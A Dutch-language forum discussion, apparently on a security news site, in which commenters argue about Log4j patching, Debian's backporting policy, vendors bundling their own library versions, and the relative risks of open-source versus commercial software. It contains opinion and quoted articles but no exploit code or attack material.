Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Die leverancier heeft klanten die verschillende besturingssystemen gebruiken. Sommige gebruiken Windows, andere Debian, Ubuntu, RedHat, SUSE of een andere Linux-distro. Die Linux-distro's kunnen makkelijk verschillende versies van Log4j voeren.
Jij noemt steeds Debian als voorbeeld, maar juist Debian heeft als beleid dat er tussen major releases functioneel niets wijzigt, en daar kan soms wel twee jaar tussen zitten. Daarom zal Debian bij een security patch typisch niet de meest recente upstream versie gaan verspreiden maar in plaats daarvan de reparatie overnemen in de versie die zij voeren. Dat ze nu met Log4j wél naar de nieuwste versie zijn gegaan was omdat dat toevallig kon, maar zo gaat het lang niet altijd.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
https://access.redhat.com/security/updates/backporting
Door Anoniem: Ik dacht dat alleen managers en politici verantwoordelijkheid afschuiven. Je bent zelf verantwoordelijk voor de code die je (her)gebruikt. Als je code gebruikt die door een stelletje hobbyisten is geschreven en waarin security geen enkele rol speelt is dat natuurlijk een risico
Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
tja... als ik de tekst lees en een s/open/closed/g doe krijg ik een tekst die nog steeds vrijwel hetzelfde leest. the point is dus dat het gebruik van software (any) met de risicos komen die in dat stuk benoemd worden. meh dus.
Door Anoniem 17:57:
tja... als ik de tekst lees en een s/open/closed/g doe krijg ik een tekst die nog steeds vrijwel hetzelfde leest. the point is dus dat het gebruik van software (any) met de risicos komen die in dat stuk benoemd worden. meh dus.
tja... als ik de tekst lees en een s/open/closed/g doe krijg ik een tekst die nog steeds vrijwel hetzelfde leest. the point is dus dat het gebruik van software (any) met de risicos komen die in dat stuk benoemd worden. meh dus.
Dan heb je het niet goed gelezen. Het wijst met name op de risico's van het hergebruik van community-driven repositories (zoals log4j). Lastig hè, zelfreflectie, meh . .
'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
Door Anoniem: Dan heb je het niet goed gelezen. Het wijst met name op de risico's van het hergebruik van community-driven repositories (zoals log4j). Lastig hè, zelfreflectie, meh . .
'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
Alleen doen commerciële softwareleveranciers dat ook niet altijd even geweldig. Zelfs bij de grote en algemeen bekende komen soms lekken aan het licht die er al heel lang in hebben gezeten, en ook daar komt het soms voor dat men opeens opmerkelijk laks is met het repareren ervan. Mogelijk omdat ook binnen zo'n grote commerciële organisatie sommige componenten in best effort mode door een enkeling onderhouden worden die er geen prioriteit aan mag geven van de baas.'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
Het is naïef om te denken dat bij open source alles automatisch geweldig loopt alleen omdat het open is. Het is even naïef om te denken dat je het probleem niet hebt als er iemand is aan wie je een rekening betaalt.
Ik heb in de loop van mijn leven heel wat software meegemaakt van grote, belangrijke leveranciers die, als ik er intensief genoeg mee te maken kreeg om het te kunnen beoordelen, onder de motorkap opmerkelijk gammel bleek te zijn. Het toont vaak de sporen van jarenlang koortsachtig toevoegen van features die goed verkopen zonder dat er tijd is genomen om de implementatie ervan goed te krijgen, of zelfs maar om de vraag te stellen of het wel in de functie en het ontwerp van het pakket past. En open source-code kan ook gammel zijn, ik heb tenenkrommend slechte code gezien die desondanks heel populair is geworden.
Als ik naar tientallen jaren aan ontwikkeling van software kijk dan zie ik dat open source-software qua tempo van ontwikkeling meestal achterloopt bij wat commerciële partijen op de markt gooien (al zijn er zeker ook punten waar het juist voorloopt), maar dat over het geheel genomen de kwaliteit en functionaliteit ervan wel degelijk een stijgende lijn vertoont. En als het goed genoeg is geworden heeft het de neiging commerciële alternatieven geleidelijk weg te drukken omdat het een commodity wordt waar commerciële levernaciers niet meer tegenop kunnen concurreren. Over het geheel genomen vind ik dat een goede ontwikkeling, al verloopt die zeker niet zonder horten en stoten.
Door Anoniem:
Dan heb je het niet goed gelezen. Het wijst met name op de risico's van het hergebruik van community-driven repositories (zoals log4j). Lastig hè, zelfreflectie, meh . .
Door Anoniem 17:57:
tja... als ik de tekst lees en een s/open/closed/g doe krijg ik een tekst die nog steeds vrijwel hetzelfde leest. the point is dus dat het gebruik van software (any) met de risicos komen die in dat stuk benoemd worden. meh dus.
tja... als ik de tekst lees en een s/open/closed/g doe krijg ik een tekst die nog steeds vrijwel hetzelfde leest. the point is dus dat het gebruik van software (any) met de risicos komen die in dat stuk benoemd worden. meh dus.
Dan heb je het niet goed gelezen. Het wijst met name op de risico's van het hergebruik van community-driven repositories (zoals log4j). Lastig hè, zelfreflectie, meh . .
log4j blijkt goed onderhouden want de problemen zijn immers snel opgelost.
Door Anoniem: 'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
Weer zo'n scriptkiddieargument... Je moet zowel bij closed- en open source softwarebibliotheken natuurlijk altijd kijken naar hoe software wordt onderhouden. Als je vaststelt dat de software al jaren niet meer is geüpdatet dan hangt het een beetje van de soort software af maar is dat meestal geen goed teken. En ook moet je blijven kijken naar de softwarebibliotheek, om te zien hoe het nu met het onderhoud gaat. Als het eerder goed werd onderhouden maar nu niet meer dan moet je daar eens goed naar kijken en bedenken of je de softwarebibliotheek misschien moet vervangen door een andere. Je kan bij closed source software wel denken dat je goed zit omdat je afspraken hebt met de aanbieder maar als die faiiliet gaat of het product gaat uitfaseren dan ben je net zo goed de klos. Dus wees geen scriptkiddie(beheerder) en kijk en blijf kijken wat je doet!
Tekst van een site van/voor developers. Zou het publiek hier toch aan moeten spreken.
"I don’t remember when I’ve used Log4j the first time, but it was long years ago and just like the hundreds of thousands of Java developers who imported the library into their codebase, I’ve just trusted this de facto logging solution and I’ve never imagined that it will cause such noise or such trouble one day.
Yes, I know, it may sound like madness for an outsider, that such a huge tribe has used blindly this package in their codebase, but I think that Friedrich Nietzsche has an interesting description of madness that suits this case:
“Madness is something rare in individuals — but in groups, parties, peoples, and ages, it is the rule.”
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
https://betterprogramming.pub/whats-the-hype-with-log4j-2de7a64f221?gi=b98f15131a3d
"I don’t remember when I’ve used Log4j the first time, but it was long years ago and just like the hundreds of thousands of Java developers who imported the library into their codebase, I’ve just trusted this de facto logging solution and I’ve never imagined that it will cause such noise or such trouble one day.
Yes, I know, it may sound like madness for an outsider, that such a huge tribe has used blindly this package in their codebase, but I think that Friedrich Nietzsche has an interesting description of madness that suits this case:
“Madness is something rare in individuals — but in groups, parties, peoples, and ages, it is the rule.”
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
https://betterprogramming.pub/whats-the-hype-with-log4j-2de7a64f221?gi=b98f15131a3d
Door Anoniem: ...
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
...
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
...
Oh ja... Je bedoelt net als bij die auto die iedereen koopt en die een terugroepactie krijgt omdat de remmen soms niet blijken te werken of iets dergelijks?
Door Anoniem: Tekst van een site van/voor developers. Zou het publiek hier toch aan moeten spreken.
"I don’t remember when I’ve used Log4j the first time, but it was long years ago and just like the hundreds of thousands of Java developers who imported the library into their codebase, I’ve just trusted this de facto logging solution and I’ve never imagined that it will cause such noise or such trouble one day.
Yes, I know, it may sound like madness for an outsider, that such a huge tribe has used blindly this package in their codebase, but I think that Friedrich Nietzsche has an interesting description of madness that suits this case:
“Madness is something rare in individuals — but in groups, parties, peoples, and ages, it is the rule.”
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
https://betterprogramming.pub/whats-the-hype-with-log4j-2de7a64f221?gi=b98f15131a3d
"I don’t remember when I’ve used Log4j the first time, but it was long years ago and just like the hundreds of thousands of Java developers who imported the library into their codebase, I’ve just trusted this de facto logging solution and I’ve never imagined that it will cause such noise or such trouble one day.
Yes, I know, it may sound like madness for an outsider, that such a huge tribe has used blindly this package in their codebase, but I think that Friedrich Nietzsche has an interesting description of madness that suits this case:
“Madness is something rare in individuals — but in groups, parties, peoples, and ages, it is the rule.”
Hebben we toch nog de diepere oorzaak van deze ellende gevonden: Groupthink.
https://betterprogramming.pub/whats-the-hype-with-log4j-2de7a64f221?gi=b98f15131a3d
Ook de rest van de DevOp wereld lijkt zich wel iets van deze constatering aan te trekken.
Cultural issues are the first thing to overcome, says Red Hat.
https://www.theregister.com/2021/11/19/why_devsecops_is_important/
Reageren
Deze posting is gelocked. Reageren is niet meer mogelijk.
Junior DevOps Engineer
Certified Secure is op zoek naar een Junior DevOps Engineer. Deze functie is een stuk interessanter dan de term doet vermoeden! Om jou als potentiële nieuwe collega meteen te laten zien wat we doen hebben we speciaal voor jou een selectie gemaakt van een aantal leuke security challenges. Are you ready for a challenge?
Cybersecurity Trainer / Streamer
Toe aan een nieuwe nieuwe job waarmee je het verschil maakt? In de Certified Secure trainingen laat je deelnemers zien hoe actuele kwetsbaarheden structureel verholpen worden. Ook werk je actief mee aan de ontwikkeling van onze gamified security challenges. Bij het maken van challenges kom je telkens nieuwe technieken tegen, van Flutter tot GraphQL, van Elastic Search tot Kubernetes.
